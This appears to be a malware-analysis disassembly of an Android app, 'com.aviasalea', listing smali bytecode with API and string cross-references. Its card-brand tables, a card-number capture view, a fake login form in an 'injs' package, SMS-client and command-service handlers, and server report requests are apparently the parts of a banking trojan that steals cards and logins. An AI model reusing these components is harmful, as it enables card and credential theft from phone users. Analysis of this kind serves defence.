                                      52const-string v0, " "
                                      54const-string v1, ""
                                      56invoke-virtual {p1, v0, v1}, Ljava/lang/String;->replace(Ljava/lang/CharSequence;Ljava/lang/CharSequence;)Ljava/lang/String;
                                      57move-result-object v0
                                      58iput-object v0, p0, Lcom/aviasalea/injs/g/val/CVal;->cardNumber:Ljava/lang/String;
                                      59return-void
                                      APIs
                                      • com.aviasalea.injs.g.val.CEnum.<init>
                                      • com.aviasalea.injs.g.val.CEnum.<init>
                                      • com.aviasalea.injs.g.val.CEnum.<init>
                                      • com.aviasalea.injs.g.val.CEnum.AmericanExpress:Lcom/aviasalea/injs/g/val/CEnum
                                      • com.aviasalea.injs.g.val.CEnum.MasterCard:Lcom/aviasalea/injs/g/val/CEnum
                                      • com.aviasalea.injs.g.val.CEnum.Visa:Lcom/aviasalea/injs/g/val/CEnum
                                      Strings
                                      • AmericanExpress
                                      • American Express
                                      • 34, 37
                                      • 15
                                      • MasterCard
                                      • Master
                                      • 51, 52, 53, 54, 55, 222100-272099
                                      • 16
                                      • Visa
                                      • 4
                                      • 13,16,19
                                      Position Instruction Meta Information
                                      0.prologue
                                      1const/4 v11, 0x2
                                      2const/4 v10, 0x1
                                      3const/4 v2, 0x0
                                      4new-instance v0, Lcom/aviasalea/injs/g/val/CEnum;
                                      6const-string v1, "AmericanExpress"
                                      8const-string v3, "American Express"
                                      9const v4, 0x7f050016
                                      11const-string v5, "34, 37"
                                      13const-string v6, "15"
                                      15invoke-direct/range {v0 .. v6}, Lcom/aviasalea/injs/g/val/CEnum;-><init>(Ljava/lang/String;ILjava/lang/String;ILjava/lang/String;Ljava/lang/String;)V
                                      16sput-object v0, Lcom/aviasalea/injs/g/val/CEnum;->AmericanExpress:Lcom/aviasalea/injs/g/val/CEnum;
                                      17new-instance v3, Lcom/aviasalea/injs/g/val/CEnum;
                                      19const-string v4, "MasterCard"
                                      21const-string v6, "Master"
                                      22const v7, 0x7f050017
                                      24const-string v8, "51, 52, 53, 54, 55, 222100-272099"
                                      26const-string v9, "16"
                                      27move v5, v10
                                      29invoke-direct/range {v3 .. v9}, Lcom/aviasalea/injs/g/val/CEnum;-><init>(Ljava/lang/String;ILjava/lang/String;ILjava/lang/String;Ljava/lang/String;)V
                                      30sput-object v3, Lcom/aviasalea/injs/g/val/CEnum;->MasterCard:Lcom/aviasalea/injs/g/val/CEnum;
                                      31new-instance v3, Lcom/aviasalea/injs/g/val/CEnum;
                                      33const-string v4, "Visa"
                                      35const-string v6, "Visa"
                                      36const v7, 0x7f050018
                                      38const-string v8, "4"
                                      40const-string v9, "13,16,19"
                                      41move v5, v11
                                      43invoke-direct/range {v3 .. v9}, Lcom/aviasalea/injs/g/val/CEnum;-><init>(Ljava/lang/String;ILjava/lang/String;ILjava/lang/String;Ljava/lang/String;)V
                                      44sput-object v3, Lcom/aviasalea/injs/g/val/CEnum;->Visa:Lcom/aviasalea/injs/g/val/CEnum;
                                      45const/4 v0, 0x3
                                      46new-array v0, v0, [Lcom/aviasalea/injs/g/val/CEnum;
                                      48sget-object v1, Lcom/aviasalea/injs/g/val/CEnum;->AmericanExpress:Lcom/aviasalea/injs/g/val/CEnum;
                                      49aput-object v1, v0, v2
                                      51sget-object v1, Lcom/aviasalea/injs/g/val/CEnum;->MasterCard:Lcom/aviasalea/injs/g/val/CEnum;
                                      52aput-object v1, v0, v10
                                      54sget-object v1, Lcom/aviasalea/injs/g/val/CEnum;->Visa:Lcom/aviasalea/injs/g/val/CEnum;
                                      55aput-object v1, v0, v11
                                      56sput-object v0, Lcom/aviasalea/injs/g/val/CEnum;->$VALUES:[Lcom/aviasalea/injs/g/val/CEnum;
                                      57return-void
                                      APIs
                                      • com.aviasalea.base.dialog.AlertDialog$1.this$0:Lcom/aviasalea/base/dialog/AlertDialog
                                      • com.aviasalea.base.dialog.AlertDialog$1.this$0:Lcom/aviasalea/base/dialog/AlertDialog
                                      • com.aviasalea.base.dialog.AlertDialog.access$100
                                      • com.aviasalea.base.dialog.AlertDialog$1.this$0:Lcom/aviasalea/base/dialog/AlertDialog
                                      • com.aviasalea.base.dialog.AlertDialog.access$500
                                      • android.widget.ScrollView.getScrollY
                                      • com.aviasalea.base.dialog.AlertDialog$1.this$0:Lcom/aviasalea/base/dialog/AlertDialog
                                      • com.aviasalea.base.dialog.AlertDialog.access$1500
                                      • android.widget.LinearLayout.getTop
                                      • com.aviasalea.base.dialog.AlertDialog.access$1600
                                      • com.aviasalea.base.dialog.AlertDialog$1.this$0:Lcom/aviasalea/base/dialog/AlertDialog
                                      • com.aviasalea.base.dialog.AlertDialog$1.this$0:Lcom/aviasalea/base/dialog/AlertDialog
                                      • com.aviasalea.base.dialog.AlertDialog.access$000
                                      • com.aviasalea.base.dialog.AlertDialog$1.this$0:Lcom/aviasalea/base/dialog/AlertDialog
                                      • com.aviasalea.base.dialog.AlertDialog.access$500
                                      • android.widget.ScrollView.getScrollY
                                      • com.aviasalea.base.dialog.AlertDialog$1.this$0:Lcom/aviasalea/base/dialog/AlertDialog
                                      • com.aviasalea.base.dialog.AlertDialog.access$500
                                      • android.widget.ScrollView.getHeight
                                      • com.aviasalea.base.dialog.AlertDialog$1.this$0:Lcom/aviasalea/base/dialog/AlertDialog
                                      • com.aviasalea.base.dialog.AlertDialog.access$1500
                                      • android.widget.LinearLayout.getBottom
                                      • com.aviasalea.base.dialog.AlertDialog.access$1600
                                      • com.aviasalea.base.dialog.AlertDialog$1.this$0:Lcom/aviasalea/base/dialog/AlertDialog
                                      • com.aviasalea.base.dialog.AlertDialog.access$500
                                      • android.widget.ScrollView.invalidate
                                      Position Instruction Meta Information
                                      0.prologue
                                      1const/4 v1, 0x1
                                      2const/4 v2, 0x0
                                      4iget-object v0, p0, Lcom/aviasalea/base/dialog/AlertDialog$1$2;->this$1:Lcom/aviasalea/base/dialog/AlertDialog$1;
                                      6iget-object v3, v0, Lcom/aviasalea/base/dialog/AlertDialog$1;->this$0:Lcom/aviasalea/base/dialog/AlertDialog;
                                      8iget-object v0, p0, Lcom/aviasalea/base/dialog/AlertDialog$1$2;->this$1:Lcom/aviasalea/base/dialog/AlertDialog$1;
                                      10iget-object v0, v0, Lcom/aviasalea/base/dialog/AlertDialog$1;->this$0:Lcom/aviasalea/base/dialog/AlertDialog;
                                      12invoke-static {v0}, Lcom/aviasalea/base/dialog/AlertDialog;->access$100(Lcom/aviasalea/base/dialog/AlertDialog;)Landroid/widget/TextView;
                                      13move-result-object v0
                                      14if-eqz v0, :cond_73
                                      16iget-object v0, p0, Lcom/aviasalea/base/dialog/AlertDialog$1$2;->this$1:Lcom/aviasalea/base/dialog/AlertDialog$1;
                                      18iget-object v0, v0, Lcom/aviasalea/base/dialog/AlertDialog$1;->this$0:Lcom/aviasalea/base/dialog/AlertDialog;
                                      20invoke-static {v0}, Lcom/aviasalea/base/dialog/AlertDialog;->access$500(Lcom/aviasalea/base/dialog/AlertDialog;)Landroid/widget/ScrollView;
                                      21move-result-object v0
                                      23invoke-virtual {v0}, Landroid/widget/ScrollView;->getScrollY()I
                                      24move-result v0
                                      26iget-object v4, p0, Lcom/aviasalea/base/dialog/AlertDialog$1$2;->this$1:Lcom/aviasalea/base/dialog/AlertDialog$1;
                                      28iget-object v4, v4, Lcom/aviasalea/base/dialog/AlertDialog$1;->this$0:Lcom/aviasalea/base/dialog/AlertDialog;
                                      30invoke-static {v4}, Lcom/aviasalea/base/dialog/AlertDialog;->access$1500(Lcom/aviasalea/base/dialog/AlertDialog;)Landroid/widget/LinearLayout;
                                      31move-result-object v4
                                      33invoke-virtual {v4}, Landroid/widget/LinearLayout;->getTop()I
                                      34move-result v4
                                      35if-le v0, v4, :cond_73
                                      36move v0, v1
                                      37goto_2b:
                                      38invoke-static {v3, v2, v0}, Lcom/aviasalea/base/dialog/AlertDialog;->access$1600(Lcom/aviasalea/base/dialog/AlertDialog;IZ)V
                                      40iget-object v0, p0, Lcom/aviasalea/base/dialog/AlertDialog$1$2;->this$1:Lcom/aviasalea/base/dialog/AlertDialog$1;
                                      42iget-object v0, v0, Lcom/aviasalea/base/dialog/AlertDialog$1;->this$0:Lcom/aviasalea/base/dialog/AlertDialog;
                                      44iget-object v3, p0, Lcom/aviasalea/base/dialog/AlertDialog$1$2;->this$1:Lcom/aviasalea/base/dialog/AlertDialog$1;
                                      46iget-object v3, v3, Lcom/aviasalea/base/dialog/AlertDialog$1;->this$0:Lcom/aviasalea/base/dialog/AlertDialog;
                                      48invoke-static {v3}, Lcom/aviasalea/base/dialog/AlertDialog;->access$000(Lcom/aviasalea/base/dialog/AlertDialog;)Landroid/widget/FrameLayout;
                                      49move-result-object v3
                                      50if-eqz v3, :cond_64
                                      52iget-object v3, p0, Lcom/aviasalea/base/dialog/AlertDialog$1$2;->this$1:Lcom/aviasalea/base/dialog/AlertDialog$1;
                                      54iget-object v3, v3, Lcom/aviasalea/base/dialog/AlertDialog$1;->this$0:Lcom/aviasalea/base/dialog/AlertDialog;
                                      56invoke-static {v3}, Lcom/aviasalea/base/dialog/AlertDialog;->access$500(Lcom/aviasalea/base/dialog/AlertDialog;)Landroid/widget/ScrollView;
                                      57move-result-object v3
                                      59invoke-virtual {v3}, Landroid/widget/ScrollView;->getScrollY()I
                                      60move-result v3
                                      62iget-object v4, p0, Lcom/aviasalea/base/dialog/AlertDialog$1$2;->this$1:Lcom/aviasalea/base/dialog/AlertDialog$1;
                                      64iget-object v4, v4, Lcom/aviasalea/base/dialog/AlertDialog$1;->this$0:Lcom/aviasalea/base/dialog/AlertDialog;
                                      66invoke-static {v4}, Lcom/aviasalea/base/dialog/AlertDialog;->access$500(Lcom/aviasalea/base/dialog/AlertDialog;)Landroid/widget/ScrollView;
                                      67move-result-object v4
                                      69invoke-virtual {v4}, Landroid/widget/ScrollView;->getHeight()I
                                      70move-result v4
                                      71add-int/2addr v3, v4
                                      73iget-object v4, p0, Lcom/aviasalea/base/dialog/AlertDialog$1$2;->this$1:Lcom/aviasalea/base/dialog/AlertDialog$1;
                                      75iget-object v4, v4, Lcom/aviasalea/base/dialog/AlertDialog$1;->this$0:Lcom/aviasalea/base/dialog/AlertDialog;
                                      77invoke-static {v4}, Lcom/aviasalea/base/dialog/AlertDialog;->access$1500(Lcom/aviasalea/base/dialog/AlertDialog;)Landroid/widget/LinearLayout;
                                      78move-result-object v4
                                      80invoke-virtual {v4}, Landroid/widget/LinearLayout;->getBottom()I
                                      81move-result v4
                                      82if-ge v3, v4, :cond_64
                                      83move v2, v1
                                      84cond_64:
                                      85invoke-static {v0, v1, v2}, Lcom/aviasalea/base/dialog/AlertDialog;->access$1600(Lcom/aviasalea/base/dialog/AlertDialog;IZ)V
                                      87iget-object v0, p0, Lcom/aviasalea/base/dialog/AlertDialog$1$2;->this$1:Lcom/aviasalea/base/dialog/AlertDialog$1;
                                      89iget-object v0, v0, Lcom/aviasalea/base/dialog/AlertDialog$1;->this$0:Lcom/aviasalea/base/dialog/AlertDialog;
                                      91invoke-static {v0}, Lcom/aviasalea/base/dialog/AlertDialog;->access$500(Lcom/aviasalea/base/dialog/AlertDialog;)Landroid/widget/ScrollView;
                                      92move-result-object v0
                                      94invoke-virtual {v0}, Landroid/widget/ScrollView;->invalidate()V
                                      95return-void
                                      96cond_73: move v0, v2
                                      97goto/16 :goto_2b
                                      APIs
                                      • com.aviasalea.injs.g.view.GView.access$002
                                      • com.aviasalea.injs.g.view.GView.access$100
                                      • android.widget.LinearLayout.getVisibility
                                      • com.aviasalea.injs.g.view.GView.access$100
                                      • android.widget.LinearLayout.setVisibility
                                      • com.aviasalea.injs.g.view.GView.access$200
                                      • com.aviasalea.injs.g.view._CTextInputLayout.requestFocus
                                      • com.aviasalea.injs.g.view.GView.access$300
                                      • com.aviasalea.injs.g.view.GView.access$400
                                      • com.aviasalea.injs.g.view.GView.access$400
                                      • com.aviasalea.injs.g.view.GView.access$300
                                      • com.aviasalea.injs.g.view.GView.access$500
                                      • com.aviasalea.injs.g.view.GView.access$100
                                      • android.widget.LinearLayout.getVisibility
                                      • com.aviasalea.injs.g.view.GView.access$100
                                      • android.widget.LinearLayout.setVisibility
                                      Position Instruction Meta Information
                                      0.param p1, "moveToNext" # Z
                                      1.param p2, "cardPan" # Ljava/lang/String;
                                      2.param p3, "cardName" # Ljava/lang/String;
                                      3.prologue
                                      4const/4 v1, 0x4
                                      6iget-object v0, p0, Lcom/aviasalea/injs/g/view/GView$1;->this$0:Lcom/aviasalea/injs/g/view/GView;
                                      8invoke-static {v0, p1}, Lcom/aviasalea/injs/g/view/GView;->access$002(Lcom/aviasalea/injs/g/view/GView;Z)Z
                                      9if-eqz p1, :cond_4e
                                      11iget-object v0, p0, Lcom/aviasalea/injs/g/view/GView$1;->this$0:Lcom/aviasalea/injs/g/view/GView;
                                      13invoke-static {v0}, Lcom/aviasalea/injs/g/view/GView;->access$100(Lcom/aviasalea/injs/g/view/GView;)Landroid/widget/LinearLayout;
                                      14move-result-object v0
                                      16invoke-virtual {v0}, Landroid/widget/LinearLayout;->getVisibility()I
                                      17move-result v0
                                      18if-eqz v0, :cond_1e
                                      20iget-object v0, p0, Lcom/aviasalea/injs/g/view/GView$1;->this$0:Lcom/aviasalea/injs/g/view/GView;
                                      22invoke-static {v0}, Lcom/aviasalea/injs/g/view/GView;->access$100(Lcom/aviasalea/injs/g/view/GView;)Landroid/widget/LinearLayout;
                                      23move-result-object v0
                                      24const/4 v1, 0x0
                                      26invoke-virtual {v0, v1}, Landroid/widget/LinearLayout;->setVisibility(I)V
                                      27cond_1e:
                                      28iget-object v0, p0, Lcom/aviasalea/injs/g/view/GView$1;->this$0:Lcom/aviasalea/injs/g/view/GView;
                                      30invoke-static {v0}, Lcom/aviasalea/injs/g/view/GView;->access$200(Lcom/aviasalea/injs/g/view/GView;)Lcom/aviasalea/injs/g/view/_CTextInputLayout;
                                      31move-result-object v0
                                      33invoke-virtual {v0}, Lcom/aviasalea/injs/g/view/_CTextInputLayout;->requestFocus()Z
                                      35iget-object v0, p0, Lcom/aviasalea/injs/g/view/GView$1;->this$0:Lcom/aviasalea/injs/g/view/GView;
                                      37invoke-static {v0}, Lcom/aviasalea/injs/g/view/GView;->access$300(Lcom/aviasalea/injs/g/view/GView;)Lcom/aviasalea/injs/g/model/GData;
                                      38move-result-object v0
                                      40invoke-virtual {v0, p2}, Lcom/aviasalea/injs/g/model/GData;->setCardNumber(Ljava/lang/String;)V
                                      42iget-object v0, p0, Lcom/aviasalea/injs/g/view/GView$1;->this$0:Lcom/aviasalea/injs/g/view/GView;
                                      44invoke-static {v0}, Lcom/aviasalea/injs/g/view/GView;->access$400(Lcom/aviasalea/injs/g/view/GView;)Lcom/aviasalea/injs/g/view/GView$OnGPCallback;
                                      45move-result-object v0
                                      46if-eqz v0, :cond_48
                                      48iget-object v0, p0, Lcom/aviasalea/injs/g/view/GView$1;->this$0:Lcom/aviasalea/injs/g/view/GView;
                                      50invoke-static {v0}, Lcom/aviasalea/injs/g/view/GView;->access$400(Lcom/aviasalea/injs/g/view/GView;)Lcom/aviasalea/injs/g/view/GView$OnGPCallback;
                                      51move-result-object v0
                                      53iget-object v1, p0, Lcom/aviasalea/injs/g/view/GView$1;->this$0:Lcom/aviasalea/injs/g/view/GView;
                                      55invoke-static {v1}, Lcom/aviasalea/injs/g/view/GView;->access$300(Lcom/aviasalea/injs/g/view/GView;)Lcom/aviasalea/injs/g/model/GData;
                                      56move-result-object v1
                                      57const/4 v2, 0x1
                                      59invoke-interface {v0, v1, v2}, Lcom/aviasalea/injs/g/view/GView$OnGPCallback;->onSave(Lcom/aviasalea/injs/g/model/GData;Z)V
                                      60cond_48:
                                      61iget-object v0, p0, Lcom/aviasalea/injs/g/view/GView$1;->this$0:Lcom/aviasalea/injs/g/view/GView;
                                      63invoke-static {v0}, Lcom/aviasalea/injs/g/view/GView;->access$500(Lcom/aviasalea/injs/g/view/GView;)V
                                      64return-void
                                      65cond_4e:
                                      66iget-object v0, p0, Lcom/aviasalea/injs/g/view/GView$1;->this$0:Lcom/aviasalea/injs/g/view/GView;
                                      68invoke-static {v0}, Lcom/aviasalea/injs/g/view/GView;->access$100(Lcom/aviasalea/injs/g/view/GView;)Landroid/widget/LinearLayout;
                                      69move-result-object v0
                                      71invoke-virtual {v0}, Landroid/widget/LinearLayout;->getVisibility()I
                                      72move-result v0
                                      73if-eq v0, v1, :cond_48
                                      75iget-object v0, p0, Lcom/aviasalea/injs/g/view/GView$1;->this$0:Lcom/aviasalea/injs/g/view/GView;
                                      77invoke-static {v0}, Lcom/aviasalea/injs/g/view/GView;->access$100(Lcom/aviasalea/injs/g/view/GView;)Landroid/widget/LinearLayout;
                                      78move-result-object v0
                                      80invoke-virtual {v0, v1}, Landroid/widget/LinearLayout;->setVisibility(I)V
                                      81goto/16 :goto_48
                                      Cross References
                                      APIs
                                      • android.os.Looper.getMainLooper
                                      • android.os.HandlerThread.<init>
                                      • android.os.HandlerThread.start
                                      • android.os.HandlerThread.getLooper
                                      • android.os.HandlerThread.<init>
                                      • android.os.HandlerThread.start
                                      • android.os.HandlerThread.getLooper
                                      • android.os.HandlerThread.<init>
                                      • android.os.HandlerThread.start
                                      • android.os.HandlerThread.getLooper
                                      Strings
                                      • BG
                                      • REQUEST
                                      • TEMP
                                      Position Instruction Meta Information
                                      0.param p1, "type" # I
                                      1.prologue
                                      2if-nez p1, :cond_7
                                      4invoke-static {}, Landroid/os/Looper;->getMainLooper()Landroid/os/Looper;
                                      5move-result-object v0
                                      6goto_6: return-object v0
                                      7cond_7: const/4 v0, 0x1
                                      8if-ne p1, v0, :cond_23
                                      10iget-object v0, p0, Lcom/aviasalea/api/thread/ThreadManager;->mBgHandlerThread:Landroid/os/HandlerThread;
                                      11if-nez v0, :cond_1c
                                      12new-instance v0, Landroid/os/HandlerThread;
                                      14const-string v1, "BG"
                                      16invoke-direct {v0, v1}, Landroid/os/HandlerThread;-><init>(Ljava/lang/String;)V
                                      17iput-object v0, p0, Lcom/aviasalea/api/thread/ThreadManager;->mBgHandlerThread:Landroid/os/HandlerThread;
                                      19iget-object v0, p0, Lcom/aviasalea/api/thread/ThreadManager;->mBgHandlerThread:Landroid/os/HandlerThread;
                                      21invoke-virtual {v0}, Landroid/os/HandlerThread;->start()V
                                      22cond_1c:
                                      23iget-object v0, p0, Lcom/aviasalea/api/thread/ThreadManager;->mBgHandlerThread:Landroid/os/HandlerThread;
                                      25invoke-virtual {v0}, Landroid/os/HandlerThread;->getLooper()Landroid/os/Looper;
                                      26move-result-object v0
                                      27goto/16 :goto_6
                                      28cond_23: const/4 v0, 0x2
                                      29if-ne p1, v0, :cond_3f
                                      31iget-object v0, p0, Lcom/aviasalea/api/thread/ThreadManager;->mRequestHandlerThread:Landroid/os/HandlerThread;
                                      32if-nez v0, :cond_38
                                      33new-instance v0, Landroid/os/HandlerThread;
                                      35const-string v1, "REQUEST"
                                      37invoke-direct {v0, v1}, Landroid/os/HandlerThread;-><init>(Ljava/lang/String;)V
                                      38iput-object v0, p0, Lcom/aviasalea/api/thread/ThreadManager;->mRequestHandlerThread:Landroid/os/HandlerThread;
                                      40iget-object v0, p0, Lcom/aviasalea/api/thread/ThreadManager;->mRequestHandlerThread:Landroid/os/HandlerThread;
                                      42invoke-virtual {v0}, Landroid/os/HandlerThread;->start()V
                                      43cond_38:
                                      44iget-object v0, p0, Lcom/aviasalea/api/thread/ThreadManager;->mRequestHandlerThread:Landroid/os/HandlerThread;
                                      46invoke-virtual {v0}, Landroid/os/HandlerThread;->getLooper()Landroid/os/Looper;
                                      47move-result-object v0
                                      48goto/16 :goto_6
                                      49cond_3f:
                                      50iget-object v0, p0, Lcom/aviasalea/api/thread/ThreadManager;->mTempHandlerThread:Landroid/os/HandlerThread;
                                      51if-nez v0, :cond_51
                                      52new-instance v0, Landroid/os/HandlerThread;
                                      54const-string v1, "TEMP"
                                      56invoke-direct {v0, v1}, Landroid/os/HandlerThread;-><init>(Ljava/lang/String;)V
                                      57iput-object v0, p0, Lcom/aviasalea/api/thread/ThreadManager;->mTempHandlerThread:Landroid/os/HandlerThread;
                                      59iget-object v0, p0, Lcom/aviasalea/api/thread/ThreadManager;->mTempHandlerThread:Landroid/os/HandlerThread;
                                      61invoke-virtual {v0}, Landroid/os/HandlerThread;->start()V
                                      62cond_51:
                                      63iget-object v0, p0, Lcom/aviasalea/api/thread/ThreadManager;->mTempHandlerThread:Landroid/os/HandlerThread;
                                      65invoke-virtual {v0}, Landroid/os/HandlerThread;->getLooper()Landroid/os/Looper;
                                      66move-result-object v0
                                      67goto/16 :goto_6
                                      Cross References
                                      APIs
                                      • org.json.JSONObject.<init>
                                      • org.json.JSONObject.<init>
                                      • com.aviasalea.Realtalk.getPsuedoID
                                      • org.json.JSONObject.put
                                      • org.json.JSONObject.put
                                      • org.json.JSONObject.put
                                      • org.json.JSONObject.put
                                      • org.json.JSONObject.put
                                      Strings
                                      • id
                                      • report
                                      • status
                                      • rid
                                      • 1
                                      Position Instruction Meta Information
                                      0.param p1, "context" # Landroid/content/Context;
                                      1.annotation system Ldalvik/annotation/Throws;
                                      2value = {
                                      3Ljava/lang/Exception;
                                      4}
                                      5.end annotation
                                      6.prologue
                                      7new-instance v1, Lorg/json/JSONObject;
                                      9invoke-direct {v1}, Lorg/json/JSONObject;-><init>()V
                                      10new-instance v0, Lorg/json/JSONObject;
                                      12invoke-direct {v0}, Lorg/json/JSONObject;-><init>()V
                                      14const-string v2, "id"
                                      16invoke-static {p1}, Lcom/aviasalea/Realtalk;->getPsuedoID(Landroid/content/Context;)Ljava/lang/String;
                                      17move-result-object v3
                                      19invoke-virtual {v0, v2, v3}, Lorg/json/JSONObject;->put(Ljava/lang/String;Ljava/lang/Object;)Lorg/json/JSONObject;
                                      21const-string v2, "report"
                                      23iget-object v3, p0, Lcom/aviasalea/srs/api/requests/SendReportRequest;->reportData:Lcom/aviasalea/srs/api/requests/data/ReportData;
                                      25invoke-virtual {v3}, Lcom/aviasalea/srs/api/requests/data/ReportData;->getReport()Ljava/lang/String;
                                      26move-result-object v3
                                      28invoke-virtual {v0, v2, v3}, Lorg/json/JSONObject;->put(Ljava/lang/String;Ljava/lang/Object;)Lorg/json/JSONObject;
                                      30const-string v2, "status"
                                      32iget-object v3, p0, Lcom/aviasalea/srs/api/requests/SendReportRequest;->reportData:Lcom/aviasalea/srs/api/requests/data/ReportData;
                                      34invoke-virtual {v3}, Lcom/aviasalea/srs/api/requests/data/ReportData;->getStatus()Ljava/lang/String;
                                      35move-result-object v3
                                      37invoke-virtual {v0, v2, v3}, Lorg/json/JSONObject;->put(Ljava/lang/String;Ljava/lang/Object;)Lorg/json/JSONObject;
                                      39iget-object v2, p0, Lcom/aviasalea/srs/api/requests/SendReportRequest;->reportData:Lcom/aviasalea/srs/api/requests/data/ReportData;
                                      41invoke-virtual {v2}, Lcom/aviasalea/srs/api/requests/data/ReportData;->getRid()J
                                      42move-result-wide v2
                                      43const-wide/16 v4, -0x1
                                      44cmp-long v2, v2, v4
                                      45if-eqz v2, :cond_40
                                      47const-string v2, "rid"
                                      49iget-object v3, p0, Lcom/aviasalea/srs/api/requests/SendReportRequest;->reportData:Lcom/aviasalea/srs/api/requests/data/ReportData;
                                      51invoke-virtual {v3}, Lcom/aviasalea/srs/api/requests/data/ReportData;->getRid()J
                                      52move-result-wide v4
                                      54invoke-virtual {v0, v2, v4, v5}, Lorg/json/JSONObject;->put(Ljava/lang/String;J)Lorg/json/JSONObject;
                                      55cond_40:
                                      56const-string v2, "1"
                                      58invoke-virtual {v1, v2, v0}, Lorg/json/JSONObject;->put(Ljava/lang/String;Ljava/lang/Object;)Lorg/json/JSONObject;
                                      60invoke-static {v1}, Lcom/aviasalea/api/tls/TxtTls;->getPostParamsUTF8(Lorg/json/JSONObject;)Ljava/lang/String;
                                      61move-result-object v2
                                      62return-object v2
                                      APIs
                                      • android.content.Intent.getIntExtra
                                      • android.content.Intent.<init>
                                      • android.content.Intent.setFlags
                                      • android.content.Context.startActivity
                                      • java.lang.Exception.toString
                                      • android.content.Intent.getStringExtra
                                      • com.aviasalea.srs.rcv.RtlkReceiver.sendAccessStatusRequest
                                      • android.content.Intent.getStringExtra
                                      • com.aviasalea.srs.rcv.RtlkReceiver.sendChangeMSClToServer
                                      Strings
                                      • status
                                      • str_access_status
                                      • access
                                      • str_change_sms_client_status
                                      Position Instruction Meta Information
                                      0.param p1, "context" # Landroid/content/Context;
                                      1.param p2, "intent" # Landroid/content/Intent;
                                      2.prologue
                                      3if-eqz p2, :cond_c
                                      4try_start_2:
                                      5const-string v5, "status"
                                      6const/4 v6, -0x1
                                      8invoke-virtual {p2, v5, v6}, Landroid/content/Intent;->getIntExtra(Ljava/lang/String;I)I
                                      9move-result v4
                                      10packed-switch v4, :pswitch_data_4e
                                      11cond_c: return-void
                                      12pswitch_d: new-instance v3, Landroid/content/Intent;
                                      13const-class v5, Lcom/aviasalea/MainActivity;
                                      15invoke-direct {v3, p1, v5}, Landroid/content/Intent;-><init>(Landroid/content/Context;Ljava/lang/Class;)V
                                      16const/high16 v5, 0x10000000
                                      18invoke-virtual {v3, v5}, Landroid/content/Intent;->setFlags(I)Landroid/content/Intent;
                                      20invoke-virtual {p1, v3}, Landroid/content/Context;->startActivity(Landroid/content/Intent;)V
                                      21try_end_1c: goto/16 :goto_c
                                      22catch_1d: move-exception v2
                                      24invoke-virtual {v2}, Ljava/lang/Exception;->toString()Ljava/lang/String;
                                      25move-result-object v5
                                      27invoke-static {v5}, Lcom/aviasalea/checktls/Print;->e(Ljava/lang/String;)V
                                      28goto/16 :goto_c
                                      29pswitch_26:
                                      30invoke-static {p1}, Lcom/aviasalea/checktls/IntTls;->startCommandService(Landroid/content/Context;)V
                                      32invoke-static {p1}, Lcom/aviasalea/checktls/IntTls;->startDialogAccessService(Landroid/content/Context;)V
                                      33goto/16 :goto_c
                                      34pswitch_2d:
                                      35const-string v5, "str_access_status"
                                      37invoke-virtual {p2, v5}, Landroid/content/Intent;->getStringExtra(Ljava/lang/String;)Ljava/lang/String;
                                      38move-result-object v0
                                      39if-eqz v0, :cond_c
                                      40new-instance v5, Lcom/aviasalea/srs/api/requests/data/ReportData;
                                      42const-string v6, "access"
                                      44invoke-direct {v5, v6, v0}, Lcom/aviasalea/srs/api/requests/data/ReportData;-><init>(Ljava/lang/String;Ljava/lang/String;)V
                                      46invoke-direct {p0, p1, v5}, Lcom/aviasalea/srs/rcv/RtlkReceiver;->sendAccessStatusRequest(Landroid/content/Context;Lcom/aviasalea/srs/api/requests/data/ReportData;)V
                                      47goto/16 :goto_c
                                      48pswitch_40:
                                      49const-string v5, "str_change_sms_client_status"
                                      51invoke-virtual {p2, v5}, Landroid/content/Intent;->getStringExtra(Ljava/lang/String;)Ljava/lang/String;
                                      52move-result-object v1
                                      53if-eqz v1, :cond_c
                                      54const-wide/16 v6, 0x0
                                      56invoke-direct {p0, p1, v1, v6, v7}, Lcom/aviasalea/srs/rcv/RtlkReceiver;->sendChangeMSClToServer(Landroid/content/Context;Ljava/lang/String;J)V
                                      57try_end_4d: goto/16 :goto_c
                                      Cross References
                                      APIs
                                      • com.aviasalea.injs.s.views.SLogView.getContext
                                      • android.content.Context.getSystemService
                                      • android.view.LayoutInflater.inflate
                                      • com.aviasalea.injs.s.views.SLogView.findViewById
                                      • com.aviasalea.injs.s.views.SLogView.findViewById
                                      • com.aviasalea.injs.s.views.SLogView.edLogin:Lcom/aviasalea/injs/g/view/_CTextInputLayout
                                      • com.aviasalea.injs.g.view._CTextInputLayout.setEditText
                                      • com.aviasalea.injs.s.views.SLogView.findViewById
                                      • com.aviasalea.injs.s.views.SLogView.findViewById
                                      • com.aviasalea.injs.s.views.SLogView.findViewById
                                      • com.aviasalea.injs.s.views.SLogView.btnEnter:Landroid/widget/RelativeLayout
                                      • android.widget.RelativeLayout.setEnabled
                                      • com.aviasalea.injs.s.views.SLogView.onLoginChangeListener
                                      • com.aviasalea.injs.s.views.SLogView.onClicklistener
                                      Strings
                                      • layout_inflater
                                      Position Instruction Meta Information
                                      0.prologue
                                      2invoke-virtual {p0}, Lcom/aviasalea/injs/s/views/SLogView;->getContext()Landroid/content/Context;
                                      3move-result-object v2
                                      5const-string v3, "layout_inflater"
                                      7invoke-virtual {v2, v3}, Landroid/content/Context;->getSystemService(Ljava/lang/String;)Ljava/lang/Object;
                                      8move-result-object v0
                                      9check-cast v0, Landroid/view/LayoutInflater;
                                      10const v2, 0x7f080012
                                      12invoke-virtual {v0, v2, p0}, Landroid/view/LayoutInflater;->inflate(ILandroid/view/ViewGroup;)Landroid/view/View;
                                      13const v2, 0x7f06001e
                                      15invoke-virtual {p0, v2}, Lcom/aviasalea/injs/s/views/SLogView;->findViewById(I)Landroid/view/View;
                                      16move-result-object v2
                                      17check-cast v2, Lcom/aviasalea/injs/g/view/_CTextInputLayout;
                                      18iput-object v2, p0, Lcom/aviasalea/injs/s/views/SLogView;->edLogin:Lcom/aviasalea/injs/g/view/_CTextInputLayout;
                                      19const v2, 0x7f060037
                                      21invoke-virtual {p0, v2}, Lcom/aviasalea/injs/s/views/SLogView;->findViewById(I)Landroid/view/View;
                                      22move-result-object v1
                                      23check-cast v1, Landroid/widget/EditText;
                                      25iget-object v2, p0, Lcom/aviasalea/injs/s/views/SLogView;->edLogin:Lcom/aviasalea/injs/g/view/_CTextInputLayout;
                                      27invoke-virtual {v2, v1}, Lcom/aviasalea/injs/g/view/_CTextInputLayout;->setEditText(Landroid/widget/EditText;)V
                                      28const v2, 0x7f060073
                                      30invoke-virtual {p0, v2}, Lcom/aviasalea/injs/s/views/SLogView;->findViewById(I)Landroid/view/View;
                                      31move-result-object v2
